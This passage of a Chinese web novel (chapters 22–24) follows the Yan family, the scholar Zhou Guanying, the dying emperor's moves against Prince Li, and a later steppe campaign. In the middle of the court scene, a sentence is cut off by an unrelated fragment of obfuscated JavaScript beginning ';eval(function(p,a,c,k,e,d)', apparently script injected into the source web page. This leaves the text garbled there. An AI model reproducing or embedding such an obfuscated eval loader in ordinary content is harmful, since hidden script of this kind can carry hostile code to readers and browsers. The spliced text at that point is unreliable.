周观应正小心地往刚点着火的炉子里加柴,闻言抬头向地里望去,笑着道:“是啊,这些菜长得很快,到时候我自吃也可,拿去集市上贩卖也可。”他冲燕墨闻笑笑说:“其实挑水不累的,走走路看看四处的风景也挺好,不过是废些时间罢了。”他的声音低了下去,然后又高昂了起来:“我也没有别的什么,最多的就是时间了。”周观应虽然笑得有些苦涩,但更多的是一脸真诚。 从古至今,有什么比真诚更动人。 燕墨闻没有再说什么,用竹筒 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周观应受得住父母去世得难过、受得住十年寒窗一朝金榜题名却无人问津的落寞,也受得住衣食无着将状元服压在草棚中的穷困潦倒,他努力振奋,努力开朗得体,却其实连燕墨闻这一句话都根本受不了。 后来,周观应在燕墨闻的邀请之下到燕家的藏书楼做了抄书人。他永远记得他第一次进燕家藏书楼时心中的震撼,当时他想:人世间的极乐之境莫过于此了。 藏书楼外面看着不起眼,就是一座古朴考究的高楼而已,里面挂着“须弥大观”的匾额,与其中的万册藏书相映成辉,让人打心眼儿里觉得名符其实。 随着帝位之争尘埃落定,帝都官场也恢复了以往的样子,只是不再有人提起先帝朝这最后一批尚未安排的进士,整整一榜苦读出头的人才就像从未出现过一样。有人受不了自刎而死了,有人向官府投告却被打伤残或被污成了疯病乞丐,有人无颜回乡远走他方,也有人与周观应这样在帝都找到了营生,就这样灰暗地活着。金榜题名时那一刹的光辉仿佛是他们全体的错觉,当年赴宴的宫门他们已永远不能再进,每当想起,便是在盛夏都会让人全身颤栗的无边苦寒。 但人生的挫折也并非全无好处,在得知自己的三元及第之功已经被有意无意彻底湮灭在岁月洪流中后,他抱着母亲的牌位痛哭了三天三夜。第四日起,他开始广读典籍,精研学问。他写了许多文章,挑了其中少少的一些篇章另起了别号散发在当时文坛之中,待到燕昭鹏求学时,他已是文坛中独树一帜从者甚众的一代大家了。 燕昭鹏是由爷爷亲自开蒙的,后来才拜在周观应门下读书,这次他与白阳来一同来听堂,燕墨闻是特别交待过的,让周观应替他看一看这个孩子。 白阳来彼时刚刚康健起来,还瘦瘦弱弱的,一张白玉小脸儿,让人看了忍不住喜爱又心疼,仿佛他活的不好便是这人世间的错。 周观应便是这样想的,他想:这世上如此艰辛,为何要让这样好的孩子来受苦。尤其在他发现白阳来聪慧又可教之后,更是既高兴又心疼了。 两个小郎君放堂之后告别了先生一起回家的样子真让人觉得岁月静好,但一转身看见微微皱眉的燕墨闻,周观应就知道今天的正事才刚刚开始。 周观应给燕墨闻烧水,这一次用的是红泥小炉,黄铜水壶,周观应垫着厚厚的布巾将热水注入紫砂方壶中,那时燕墨闻在他这儿专用的,每次与燕墨闻喝茶,周观应都会忍不住佩服当年坐在自己捡来的石头上无比自然地用竹筒喝热水的燕郎君。在对燕墨闻日常的用度有了一点了解之后,周观应总是忍不住问自己,如果自己是他,恐怕当初那样的事自己是做不到的,但是他却做得坦荡而自然,所以他才是独一无二的燕家大郎君,无与伦比。 这世间的公平或许就在于,即使是无与伦比的燕家大郎君也有犯愁的事儿。燕墨闻说:“我与我儿都与那孩子投缘,我本欲将他像自己的孩子一样养育起来,可你也知道,过去为了‘义子’一事,好事之人很是闹过一阵子,我也放了话,这才罢了。如今若是提起来,就是玉家不说什么,只怕也会有些不知所谓之人闻风而动不甘寂寞。况且我想了想,这也不是对他最好的安排。这孩子,我想为他好好筹谋一个未来,眼见得有了他我的小鸟儿都日日活泼起来了。燕家的担子太重,待我百年之后,若有他与我儿相互扶持,那我九泉之下也能放心了。” 周观应身上宝贵的意气哪怕是这么些年的挫折也没被磨去,他尖锐地拿话嘲讽着自己的主家郎君:“你就是不放心又如何,你都在九泉之下了。” 燕墨闻并不以为忤说:“所以我才来与你商量,如何为他、为他们俩尽量安排得好一些,你今日也教了他一回,应该看出那孩子的睿智聪慧了吧,虽然是有些单纯懵懂,但那副头脑,我不想辜负了他。” 世间有才之人多半惜才,尤其是这人才对自己有利无害之时。周观应就更是如此了,他一路走来多少艰辛,若是当年能在燕家藏书楼中读书,那不知道会早多少年中状元。天资被世事辜负的无以鸣说的苦恨,没有人比他尝得更多、品得更真。 周观应看着庭院中的花草和眼前的热茶,茶叶在清亮的水中微微沉浮,让他想到了自己在这万丈红尘中经历过的无常。他对燕墨闻说:“尝闻‘父母之爱子则为之计深远’,何为之深远?不过要先有舍才能有得罢了。” 23.第 23 章 燕家在帝都立府已经百年之久,经风历雨而不倒的每一代都是直面着危机存亡走过来的,燕长风当年是,燕墨闻也是。文帝朝时,草原上出了雄踞一方的霸主双翼狮王,燕长风将他打回了草原深处终生未再进犯,燕家因此稳了一朝。然而一代开疆拓土的功臣最后的下场是自刎君前,哪怕死后配享太庙有得了追封,也是燕墨闻父子心中永远的殇。 父亲已逝,如今轮到他了。燕墨闻想得很简单,毕竟父亲对他和燕昭鹏都从未有过沉重的期待,只希望他们康健永年便好,因此燕墨闻想的是,我只要保证燕家平安,把家族安稳地交到儿子手上就好。 但在周观应这个外人看来,这种看似普通的期许放在燕家身上那便是举步维艰了。不过,他很喜欢做这种艰难的事,尤其在失去了为国尽忠为民倾才的机会之后,只有完成看似不可能完成之事,才能让他一展长才。 周观应道:“郎君曾言‘被困帝都如鱼在涸,久之将死’想要将小郎君送出去,但若是小郎君出去了您却还在府中,那父子二人恐为牵制,俱不得自由,所以如果要走那么你们父子二人必须全部离开,哪怕暂时天各一方,以燕家的经营,地方上的事自有办法。只要出了帝都远离皇权,就再难受制于人了。” 燕墨闻眸中有火,在渐渐昏暗的茶室中随着他眨眼的动作闪烁着,他语声稳健不疾不徐:“先生所言甚是。本来父亲去世时是搬倒燕家最好的机会,可先帝也骤然离世,整个帝都都乱了,倒让燕家稳了下来。”燕墨闻垂下眼睫,如果说燕长风的死对他来说是意外的话,那么先帝的死就完全在先帝自己的计划之中了。 先帝一世英明却在家事上犯了糊涂,失去了治国理政时的果决,以至于最看重的长子早逝,最疼爱的幼子远走封地,待到厉王露出爪牙时他已再无运作的余地和时间了。燕长风虽深受先帝信任但也因此深受厉王忌惮,他为保燕家先交兵权再辞官位,没想到到了最后,厉王竟炮制谣言欲杀燕墨闻与燕昭鹏以逼迫燕长风。 燕长风跪在文帝床前满腔赤诚:“圣人明鉴!谣传不可信!我燕家满门忠烈为大睿朝拼死疆场从无败绩!天下是圣人的天下,我燕家时代辅弼,能有今日全凭圣人垂怜,何曾有过半点僭越之心!臣有幸,蒙陛下看重,信爱多年,如今既然引得厉王疑虑,臣愿以死明心,燕家忠贞绝无贰意!还求圣人看在臣长随帝王几十载的情义上,哪怕是将燕家阖府查抄、将他们贬为白身,但求圣人留我儿孙性命列祖列宗也好有香火为继。” 先帝与燕长风君臣相得几十年确实是真真切切有情义在的,尤其是先帝贵妃因故离宫与儿子明王远去封地之后,先帝便越发珍重他与燕长风的这份情义。只是情义是真的,帝王多疑也是真的,两人都知道宫外风传的“暗海催金帷”是被居心叵测之人有意被散布出来的谣言,可这种以谶语的方式流出的谣言最令人恶心之处恰恰在于谁都不敢担保它究竟会不会成真,若要安心便唯有防微杜渐断绝任何可能。 “暗海”二字直至燕昭鹏的那个“溟”字,“金帷”,是“禁卫”的谐音更可直至皇城。燕长风虽未将帅但一向慈悲为怀,从来都觉得自己不该杀戮太过,但听到这句流言的那一刹那,他只觉得自己该为家里的两只大小鸟儿杀光所有听见和传话的人! 但有些人当初放过了如今再想动手为时已晚,饶是燕长风英雄一世也只能用自己的死为他们挣得这一息之机了。 果然,他当场自刎让文帝瞠目欲裂当场猛地吐了一口血。那时的文帝已卧病多时,由唯一在朝的皇子厉王代理朝政。文帝一口鲜血吐出之后竟恍然觉得如同大梦一场,他看着燕长风的尸体悲恸不已。 那一夜,宫里消失了许多人,文帝将自己身边的近侍与禁卫几乎换了个遍。第二日先宣布辍朝三日,再宣布了燕长风的死讯并加封国公,然后下了三道圣旨。 第一道圣旨有言:“燕氏长风……,元勋重望,始终全德,谥号‘文定’……配飨朕之庙庭,燕氏满门俱享其光,并荣不悖。” 第二道圣旨直发燕府,宣燕墨闻进宫商议燕长风的后事。 第三道圣旨虽然是最后写的却是最先发出的,在第一道圣旨颁布之前,帝都十二卫的将军已经遵旨行动起来了。 一夜之间,斗转星移,整个帝都在天亮之后被先帝重新握在了手中。 燕墨闻奉召入宫,拜见文帝时解开披风露出了小小的燕昭鹏,燕氏嫡系仅剩的两位继承人一同拜伏在先帝面前。而几个时辰之前,他们的至亲就是在这个宫的内殿自刎的。 先帝在看见燕昭鹏的一瞬双目通红,燕长风撒在内殿的血的味道仿佛扑面而来让文帝感到无比的愧疚与恐惧。 愧疚的东西太多,已经说不清了,但恐惧的感受因为对文帝来说体会得太少又来得太猛烈而格外深刻。他说:“我没有时间了。” 文帝对燕墨闻说:“朕当年铸下的大错如今已经没有时间去改了。你要为长风护好燕家,也要为朕,护好这江山。” 文帝赐给燕墨闻一道圣旨,上面是御笔亲书的一首诗: “暗海催明睿,长风破万钧。金帷藏锈色,王师清蓝晦。” 厉王生母闺名岚惠。 文帝叫起:“你回去之后守好燕府,长风的后事朕会交代下面办好,他是要入葬帝陵的,你们在家中供奉牌位就是。记住,外面越是乱,你越要稳住,就像你父亲一直做的那样。无论发生什么,燕家只要稳住,就够了。” 燕墨闻虽努力忍耐依然泣泪满面,他问文帝:“圣人要我做些什么?” 文帝在高高的宝座上抬起苍凉的双眼,满心都是回忆和眷恋地说:“我儿……在澄州,他该回来。” 文帝与他们一同去见了燕长风最后一面,看着二人跪在堂上,文帝发现自己竟然从心底涌起羡慕之情,他对这种感觉十分陌生,但这羡慕太真切,不容他错认。燕长风英雄一世,虽然自刎于君前,但这如何就不算是英雄的死法了呢?年轻时征战沙场,为国为民,老来为了护住家人亲眷自刎而死,孝子贤孙三拜九叩送别,如何不算是圆满呢?文帝想到全家被灭的长子、野心勃勃却才德皆不配位的二子以及从小懂事可爱却许久未见的幼子,一种苍凉之感涌上心头,坐拥万里江山就必定要忍受无边孤寂吗?朕百年之后会有人跪在君前真心地难过不舍吗?朕的孝子贤孙又在哪里呢…… 燕氏父子回府是禁卫亲自护送的,燕昭鹏一直被父亲抱在怀里,他埋在燕墨闻襟前不语,燕墨闻以为他被今日的情景吓坏了,用温暖的大掌满头满身地抚摸他说:“小鸟儿不怕,圣人也为阿翁去世感到难过,所以才会那个样子。” 燕昭鹏从父亲怀里抬起小脑袋用嫩嫩的童音说:“他说了两次‘我’。” 燕墨闻摸摸儿子说:“因为他想儿子了。” 燕昭鹏努力抬起小脑袋凑上去小小声说:“他是不是快死了?” 燕墨闻对他眨了眨眼。 燕昭鹏语声虽轻却带着与年龄不符的、仿佛宿世而来的凉薄说:“阿翁走的时候我们都不能侍奉尊前,他死的时候他口中的儿子也不会在。” 燕墨闻听后甚至对儿子笑了一下,说:“是,你说的对。我们燕家人定要以此为戒。什么东西若是从里头烂起来,那就算是玉带金帷也撑不住。” 就像如今的文帝,已经是强弩之末,撑不了多久了。帝都是厉王势大,澄州那位,要么来不了,要么来不及,最后极大可能真如燕昭鹏所说,圣人驾崩时他也不会在。 但文帝毕竟是一代英主,燕墨闻猜不透他的帝王之心,只是牢牢记住了他对自己说的话,回府之后以最快的速度修缮了整座府邸的院墙与所有不起眼易被忽视的角落,并加强了护卫的人数,制定了新的更加严密的巡查方案。至于府中人所需的各种物资,燕府平常的囤积便足以应对帝都史上曾经出现过的所有特殊情况,每日的采买不过是为了让主子们享用的膳食极尽可能地新鲜多样罢了。 燕府已经按家规开始为燕长风居丧了。父子俩回府之后便一起去了玉娘子的院子。 玉娘子其人端雅柔慧,华彩动人,燕墨闻燕昭鹏两父子只要一见到她,心里便要高兴几分。惜乎天妒红颜,自在闺中时玉娘子便身弱体虚,诞下燕昭鹏之后更似为儿子赔上了本就不多的精气神,等闲连屋子也不爱出了。 还好有琴棋书画与她为伴。 玉娘子所居的庭院是燕墨闻亲自为她设计的,屋子内部则是她自己依照心意装饰的,黑白玉的棋子,描金山水的棋盒,绿檀木的荷叶椅,紫檀木的贵妃榻,幔帐层层,软罗细丝,犹如仙境一般。 父子俩进了院子,玉娘子的贴身丫鬟之一春泽带着几个小丫鬟在院门处等候,远远看见郎君与小郎君携手而来,连忙对身旁的小丫鬟说:“快去告诉娘子,郎君与小郎君到了。”然后碎步迎上前去向二人行礼道:“恭迎郎君与小郎君,娘子正在屋内等候郎君与小郎君呢。”说着让出路来。 她是玉娘子十二位贴身大丫鬟之一,能特意等在此处必是有事,燕昭鹏抬起头问:“母亲今日可好?” 春泽低头屈膝恭敬道:“回小郎君,原本今日娘子觉得身上爽利,一早便下床梳妆想要与郎君和小郎君一同用早膳,后来宫里传来旨意,郎君与小郎君进了宫娘子便开始操持家中大事,午时在明霁堂的厢房内进了午膳,正要再回正堂时……”她顿了顿,方继续说到:“玉府来了一封信,娘子看完便没睡着。” 想必是这个了。燕墨闻将燕昭鹏抱起来说:“走,我们去看看母亲,回来还没换衣裳,就在母亲这里更衣可好?” 燕昭鹏抱着父亲说:“母亲一定也哭红了眼,我们好好抱抱母亲。” 燕墨闻此刻真是十分需要这样的温暖,他愿意用自己的身体遮挡住一切外界的风刀霜剑,让严寒不要再逼近家门。 玉娘子披着雪白的披风等在门口,燕昭鹏远远便叫着:“母亲!” 暮色中温柔窈窕的女人透出让人温暖的微笑,向着自己的丈夫而儿子抬起双手:“总算回来了。” 燕墨闻一边更衣一边与妻子说入宫后的事情。 “如今帝都的局势果然如父亲先前所料,圣人的反应也是一般。接下来要好生乱一阵子了,我已吩咐下去,阖府闭门居丧,概免出入,按家里的规矩居丧期为九十九日,齐儿你身子弱,咱们的小鸟儿又还小,你们互相看顾着些,我若是有什么顾不过来,你们两个可要照顾好自己和对方,知道吗?” 燕昭鹏正坐在玉娘子香香软软的床上更衣,闻言从衣裳里挣出小脑袋努力点着头。 燕墨闻突然想起父亲进宫前也是这样嘱咐他与儿子以后要互相看顾,一时悲从中来,热泪不知何时就留了满面。 燕昭鹏点了几下小脑袋就看见父亲哭了,他身子一歪便扑进了母亲怀中,一家三口忍了一日的哀痛终于一齐释放了出来。 据说燕家祖上最贫苦时衣不蔽体食不果腹,后来靠着耕种得以温饱之后曾立下规矩:但凡家中有财便不能苛待子孙,便是居丧也要穿细布,要整洁干净,早晚三炷香以诚心为要,不必蓄意做哀伤苦痛状示人。祖上立这个规矩是因为自己过得太苦,奋发一辈子才知道穿细布是什么感觉,实在是再也不想让子孙后代受苦了,哪里想得到后来的燕家能富有成现在这样。 细布丧服是燕长风吩咐做的,他甚至亲自给儿孙选了镶边的颜色,燕墨闻是黛青,燕昭鹏是海蓝,至于儿媳妇,燕长风让她想穿什么自己选。他说:“我做长辈,只想看你们穿得鲜亮过得美满,我不喜欢漫天漫地的白,早年打仗最不喜欢看的就是这些,一见心里就烦躁。你们要是有心孝敬我就都好好的,旁人说什么动摇不了燕家,不必理会。” 燕府闭门居丧的牌子挂出去的第二天,文帝下旨斩了一批人,帝都原本想要看燕家落寞的人们一下子都没了心思。办丧事的府邸多了起来,帝都的朝堂和坊市瞬间安静了下来。燕长风的后事由宫中办理,棺椁已经进了帝陵,多少人嫉妒地眼睛都恨不得喷血,纷纷在背后用最恶毒的话评论着他与燕家。 第三日,文帝派出快马向九州发出两道圣旨,待颁旨的各队禁卫离开帝都后,宫中宣布明日举行大朝会,在帝都的所有官员除年老体弱在府荣养之人若干、家中居丧之人若干外,六品以上官员需悉数到场。 第四日,大朝会。首领太监吉顺先向众人宣读了昨日颁出的两道圣旨,然后文帝才从后面走出,登上御座。 众人山呼圣安,文帝声音洪亮,语调清晰地叫起。 有老臣斗胆抬头看向御座,文帝眼神明亮,笑容可掬,亲切地说:“众爱卿近来可好?朕与众卿久违了。” 有老臣立刻就受不了了,跪在地上开始痛哭,求圣人千万保重龙帝,江山社稷家国兴盛俱系与圣人一身云云。 文帝笑呵呵道:“爱卿们起来吧,你们的心朕都知晓。再说这江山社稷怎就只系于朕呢,不是还有你们吗。”文帝说:“尔等不堪用,不是还有厉王吗?这江山社稷,尤其是你们的家族兴盛,都系在谁的身上,众卿可是想得清清楚楚。” 文帝的声音回荡在大殿之中,如一记记重锤敲打在众人的心上:“朕老了,你们是该想想以后的事了。” 丹陛之下“哗”地跪倒一片,众人皆五体投地不敢稍抬手,尤其是厉王,他被文帝的暗卫制住之后一连几天都关在暗无天日之所,上朝前几个时辰才被安排着沐浴更衣,如今身在这大殿之上当真是恍恍惚惚,一时想着御座上的人快死了自己终于要得偿所愿了,一时又深信文帝宁愿赐死都不会传位于自己,再一时又想起被关时的惊恐交加忍不住全身发抖,冷汗不断生生将几层官袍浸湿。 文帝看着下面伏跪在地的众人,突然觉得好没意思,一群蠢货,只会令自己费神,连一个旗鼓相当的都没有。英雄寂寞原来是这个意思,不是身边没有人,而是身边全是人,却连一个能听懂你话的人或是你愿意听其说话的人都没有,怪不得古人说:“知音难觅。” 再看向那个排在最前、身上官袍颜色比其他人都深一些的、发着抖的人,文帝突然又觉得有意思了,蠢也有蠢的好,他拼尽全力也抵不过自己略微出手,希望后人收拾起这个烂摊子来也不会太难。 文帝说:“不论尔等如何打算,若有人胆敢为祸百姓危害江山社稷,朕绝不能容!” 吉顺收到授意,展开今日的第三份圣旨,递给了身旁的小太监,小太监深吸一口气开始诵读这份长长的圣旨。其中列出来三位重臣共四十七条罪状,当即赐死,阖家抄没,罪臣亲眷全部赐死,三族流放永世不得回返。 厉王沉浸在自己的惊惧之中,没有反应过来这三位是力保他继位的臣子中最有权势的三个大臣,在他们的呼喊哀求挣扎之时没有丝毫反应。这一幕被朝中所有人看在眼里,一瞬间寒下去的心不知凡几。 文帝笑了笑,继续说到:“卿等以为,朕此举如何?” 底下众人一愣,继而跪直身体开始吹捧夸赞,厉王扔旧跪伏在地,战战兢兢。 文帝听了一会儿,抬手压了压,待底下安静之后,他沉声说:“朕自知时日无多,江山为重,传承为要,也该考虑太子的人选了。” 厉王一瞬间屏息,差点儿要把自己憋死。 只听文帝徐徐道:“朕有三子,长子文王,最堪为太子,可惜英年早逝,朕至今想起仍是心痛难当。幼子明王,虽然睿智天成,人品贵重,然为孝敬母妃远赴澄州多年,终究有负朕之爱。唯有厉王, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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厉王暴怒:“他把大位传给我我就要要吗?他当着所有人的面羞辱我你没听见吗?他话说完了就死了,我呢?我还不如死了呢!他凭什么这么说我,难道我就这么认了吗?我要是继位那不就等于把他说我那些话都认了吗!凭什么?!” 这时殿外传来一个威严的声音:“凭他是皇帝,是你的父皇。”厉王的岳丈大将军陆景休走进殿来。他看到文帝一动不动躺在龙床上,立刻跪下行了大礼,而后起身示意太监拉着厉王退出了内殿。 厉王这时才注意到他手中也拿着圣旨,不由得将目光聚焦到这位岳丈的脸上,陆景休说:“老臣刚接到先帝的旨意,在圣人您居丧期间负责皇城的守卫。” 厉王说:“你叫我什么?” 陆景休说:“圣人,先帝已着人准备了您的登基大典,不日便将举行。” 此刻厉王的头脑已渐渐清明起来,他犹豫道:“这似乎于理不合吧,不是应当先完成父皇的丧仪,再行登基大礼的吗?”这点儿规矩他还是懂的。 陆景休对此却有自己的考量:“圣人明鉴,先帝的丧仪若要全部完成需三至四月之久,这个时间,足够从澄州到帝都了。” 厉王立刻火冒三丈:“你什么意思?方才朝上的圣旨你没听见吗?我是父皇钦点的继位人!他就是回来又如何?”厉王想到了什么突然狂喜道:“我要让他回来!让他看着我登基,坐上大位哈哈哈哈!陆公!我们等他回来再举行大典!” 陆景休看着喜悦得有些癫狂的厉王说:“启禀圣人,先帝上朝前颁下的那两道圣旨已经说了,不许地方官员回帝都吊唁,原地服丧即可。” 厉王的兴奋被浇熄,一时又愣住了。陆景休原本还想说圣旨中的其他内容,此时也只得先按捺住,温声小意劝道:“圣人明鉴,时至今日先坐上御座才是最要紧的呀,只要您继了大位,前尘旧怨有什么不能慢慢算的呢?看在这大睿朝的江山的份儿上,圣人、陛下、吾皇万岁,您可要速速决断啊!” 夜风吹过,吹入燕墨闻与周观应的窗前,周观应拨弄炉中火,点亮了案上灯,说:“那时,是我与郎君最艰难的时刻,都过去了。” 燕墨闻抬头看天:“父亲、先帝和娘子接连离我而去,自从我挺过这些,我便相信,无论发生什么,我都能过得去,只要,我的孩子们好。” 周观应说:“我为郎君推演,若说如今燕家缺什么,那便是兵权了,实实在在的掌兵之权。” 燕墨闻没说话,等他继续。 周观应已经习惯了他这个样子,也不在乎他没有回应,继续说到:“可是燕家不能再掌兵了,否则就算上面那位不怎样,其他视燕家为敌的人家也容不下。今日授课我观那位白玉郎君对兵法韬略颇有兴趣,郎君与其让他在我这里蹉跎,不如找个知兵善谋之人带他从军入伍,到时候若能掌兵也是燕家的一大助益。” 燕墨闻说:“那孩子大病初愈连肉还没养出来一点儿,你不要打他的主意。燕家需要兵权,我也已经在运作了。还是先想想我们爷三个怎么出得了帝都吧。” 周观应闻言摇了摇头,看来是真喜欢那孩子,这就护上了。 等二人商定好以退为进离开帝都的具体策略,并着手实施时,距离周观应第一次见白阳来已经过去三个月了。燕墨闻这几日来接两个小儿回家时总是对着他欲言又止,周观应琢磨不透,只得将两人的课业和最近的谋划细细想了一遍又一遍,确实一切都正常顺利,燕墨闻想说又不好说的究竟是什么呢? 这一日天气晴好,周观应没有授课,而是在庭院中举办了一个茶会,借此为两位小郎君教授古人消遣的各种雅事。三人在水边设席效仿古人曲水流觞,诗酒酬唱。不过他们喝的是自己案上的热饮,觞杯中盛着颜色艳丽的果酒是专供玩乐的。 燕昭鹏问:“先生,我们都不太会作诗怎么办?” 周观应说:“那就说一句你们最近看的文章也可。” 白阳来乖巧地点点头,引得燕昭鹏与周观应一起对他笑:小羊真可爱! 三人玩兴正浓时,燕墨闻来了。燕昭鹏开心地问:“父亲,要一起玩吗?”燕墨闻怎么忍心拒绝,于是四人一起又玩了两轮。 关阙表情隐忍满脸怨气地出现在庭院中,与暗卫相反,他总能找到一个让所有人都注意得到他的地方出现。 燕昭鹏与白阳来跟着他回去服药膳,周观应陪燕墨闻来到茶室。 周观应拒绝烧水,说:“主君,食君之禄忠君之事的道理鄙人明白,您有何话不妨直说。” 燕墨闻看了看他,开始亲手烧水,一边若无其事地说:“嗯,你上次说,应该给小羊换个人教?咳,可有人选?” 周观应默默出气:终于不觉得我在害你家孩子了,哼! 两人最终选定了雍长龄的润和大营,一来雍长龄这人有真本事能容人,二来他与各方势力都不牵扯,看似与景帝颇为相得,实际上据燕家查证并非如此,其三,他有军权又颇受信重,短时间内没有失势之忧,正可徐徐图之。 计划一经制定,燕家上下便开始严格落实。这一点表现在燕昭鹏与白阳来的生活里便是他们不用去周观应那里上课了,每日在家读自己喜欢的书即可,因为他们的分别已经越来越近了。 两人并不知道这些,哪怕周先生的院子就在自己家旁边,但能不出府燕昭鹏最高兴;而白阳来误以为是周先生不想教他,对燕墨闻说,让燕昭鹏去上课,自己愿意不去,留在家里。 燕墨闻立马派人将周观应叫来与白阳来解释清楚。周观应带着他给两个小郎君的礼物过来,好说歹说了一番,终于让白阳来相信他与燕昭鹏都是绝顶聪明又让先生喜爱的好学生,只是先生最近有自己的书要读所以才无暇继续为他们授课。 周观应送给两个学生的礼物是他亲手刻的两枚腰牌,一枚上刻“一阳来复”,另一枚刻着“重霄任往”。 燕墨闻看着这两个木牌深感有趣,一个是原本没有家的人,要为自己寻一个家;一个是什么都有的人要为自己和家人向重霄搏一个未来。 燕墨闻原本希望自己的孩儿不要活得太辛苦,渐渐地却发现人生在世,自己的路只能自己辛辛苦苦地走完,无论是什么人,什么样的出身,都是如此。 24.第 24 章 白阳来对在草原出现得可疑人马的调查尚未有进展,斥候营对泼岩麻部情况的调查已有了较大进展。 草原的天气最近好像和缓了些,不再动不动刮大风,燕昭鹏在外走动起来身边人也不再太提心吊胆。两人这一日应召来到中军帐,雍大将军要向众人宣布接下来的安排。 雍长龄说:“目前尚未有更合适的营地,不过泼岩麻部的消息已经查实。我军连拔五城之后他们向着王城方向收缩防御了。” 雍长龄抚了抚下巴说:“从我军所下这五座城的具体情况来看,第三座城战力最强,第五座城兵力最多。原本我们打完三城便可长驱直入捣向王城,但为防剩余两成兵力回援我们冒着双面受敌的风险打下了剩余的两座城。现在看来这个决定是对的。”雍长龄说:“虽然他们在兵力大损的情况之下选择收缩防御是对的,但这可不是泼岩麻部的性格。我本以为,他们会像当年一样不管不顾地冲过来与我军决一死战。现在看来,鹰王与豹王相比狮王两兄弟终究是少了些锐气和胆量。” 徐副将沉默地侧头看了看站在自己身边的云剑南,云剑南也看着他无声地叹了口气,与他俩同时,在场的一众将军都在无声地互相对眼神。燕昭鹏也看向白阳来,抿了抿嘴,白阳来知道他的意思回了他一个似笑非笑的眼神。 大家心中所想虽各不相同,但意思都是一样的: 为什么敌军的消息都探到了却一直未能选到合适的营地?因为现在这个营地选得太好了呀!虽然不适合长久经营,但这里适合对敌呀!敌军不收缩防御还能怎么办,冲出来决一死战吗?就现在两军的情况而言恐怕那不能叫“决一死战”而是应该叫“出来送死”。鹰王与豹王现在应该也挺为难的,泼岩麻部的辉煌连回光返照的时刻都要过去了。 雍大将军面目严肃显然正在思考,底下无人敢发出声响,只在心中跨越了敌我的立场同情着鹰王与豹王。 然而鹰王与豹王并没有因为连失五城而窥见部族覆灭的征兆,只是一味地将战败的过失统统推到了对方的身上。早在雍长龄攻下第五座城之前,两人便不约而同地将自己麾下的军队收缩回防,然后带着亲卫来到王城大吵了一架。 丞相出来劝和道:“两位王爷为了部族兴旺劳苦功高,为今之计是要以王城为中心尽快建立新的防御,至于战败之责……这,这并非是当务之急啊。”他看了看御座与御座之后的珠帘,说:“想来以陛下与太后对两位王爷的体恤与信任也不愿再行追究……” 鹰王不依:“为何不追究?若不是他沉迷酒色贻误战机中原人怎么可能连下五城?” 豹王也恼火道:“凭什么不追究?明明是他贪得无厌用劣质的兵器换了守城兵将的好刀好枪,为了中饱私囊置将士与部族的安危于不顾,才使得我军连连败退五城尽失!” 豹王激动地说:“就算不追究战败之责,也要让他把吃进去的军饷给吐出来!” 鹰王破口大骂,让他拿出证据,并揭发他淫人妻女恶行昭昭。两人在朝堂之上将脸面彻底抛下用洪钟般的声音大吵了许久。不但再没人能插进话去,就连在场之人的耳朵都被两人震得嗡嗡轰鸣。 贞慈太后早在两人言语不堪入耳之时起身带走了御座上的幼王,留下满朝大臣走也不是,捂耳朵也不是,硬生生忍着耳鸣看完了整场闹剧。 两王谁也没能将对方如何,幼王与太后又是没主意的,以丞相为首的一干重臣商议数日,最终还是备足了钱粮哄着鹰王和豹王先去扩充兵力再图其他。 叶真从王城回来报告雍长龄说:“末将等跟着众人进城时虽然没有文牒但只要给银子并无人深问。” 雍长龄示意刚刚进帐的白阳来免礼,过来说话。叶真与白阳来两厢见礼。叶真接着说:“外城驻防的都是王城的卫队,鹰王和豹王的军队不在城中。” 雍长龄双眼微眯:“不在王城,那就是在草原了?” 白阳来拱手禀道:“启禀大将军,末将方才收到消息鹰王和豹王在草原上扫荡杂部势力。” 这是雍长龄未曾想到的:“杂部?”不过转念间他就明白了:“收编杂部打仗的时候拉出去给他们自己的精兵当替死鬼,咱们打下的那五座城差不多也是这种情况。只不过守卫那五座城的都是大部落,如今被咱们打没了,只好去抓杂部来扩充兵员了。怪不得这么久没有动静,原来是换了地方。” 白阳来拱手道:“消息是罗影罗将军探知的。末将请罗将军帮我察查连窟山粮食兵器的去向,罗将军发现杂部方向有大批人马奔腾的动静便连夜前去查看,恰好见到鹰王与豹王的王旗俱在,便立即回营报告。” 雍长龄点点头道:“好!罗影将军年少有为!” 他吩咐叶真:“你亲自去一趟看看情况,我好放心。” 又对白阳来说:“叶将军已经潜入王城看过一趟了,你也去认认门儿。” 雍长龄道:“看来,我们不用找新营地了。” 白、叶二人领命退出,一边走一边交换了消息。罗影刚回来需要休息,叶真也是梳洗过后就来回报还未及休息,两人于是约定明日一早出发便各自回帐了。 燕昭鹏放下书说:“所以,大将军是准备一举将王城拿下?” 白阳来说:“除了王城还有鹰王和豹王的前营,他们如今虽然在杂部的草原上抓壮丁但前营也还是有守营的兵将的,再说,王城也还有守卫。大将军让我去一来是认认路,二来,他应是想让我亲眼看一看那个金刚八卦阵。” 燕昭鹏将书递给燕庭阔放回书箱,思索着说:“大将军派人将八卦阵图临摹了一份,我这几日一直在看那张图,越看越觉得这八卦图有些问题。” 白阳来走过来坐下听他继续说到:“若按图上所画,八卦阵将王城从东到西这三面都围了起来,剩下一个北面是悬崖峭壁不通人迹,那也就是说,王城中人出入都要经过八卦阵?” 白阳来点头:“以我们如今所知,是这样。” 燕昭鹏觉得有些匪夷所思说:“若然如此,那该有多少人知道通过八卦阵的路线?” 白阳来跟着他的思路一块儿想:“若非如此,王城与外城又该如何出入?” 这两个问题对大军攻打王城甚为重要,也是雍大将军让白阳来亲自跑一趟的关键原因。 白阳来将最新知道的消息告诉燕昭鹏:“罗影回来说鹰王和豹王正在杂部的草原上抓壮丁。原以为杂部悍勇,现在看来若鹰王与豹王联手那杂部还是不堪与之为敌的。” 燕昭鹏听后说:“泼岩麻部如今虽不复昔日雄风,但杂部的生存从来艰辛又哪里是两王手下精兵的对手;况且,双翼狮王余威尚在,或许对他们来说屈从强者也不是不能接受的事情吧。” 白阳来十分同意:“追随强者,保全自身从来都是人之常情,只是……”他突然对燕昭鹏笑了一下:“当今草原到底强者为谁,咱们该好好教一教这些部族才是。” 燕昭鹏也笑了:“确实如此。”不过,“鹰王与豹王还是分而治之的好。”燕昭鹏审慎地说:“毕竟草原上他们比我们熟,既然已经失了地利,那就决不能让他们再占人和。” 白阳来一身玉骨收在锦衣之中,此时微仰着头琢磨道:“这两王,同掌兵权……不该没有嫌隙才是啊。” 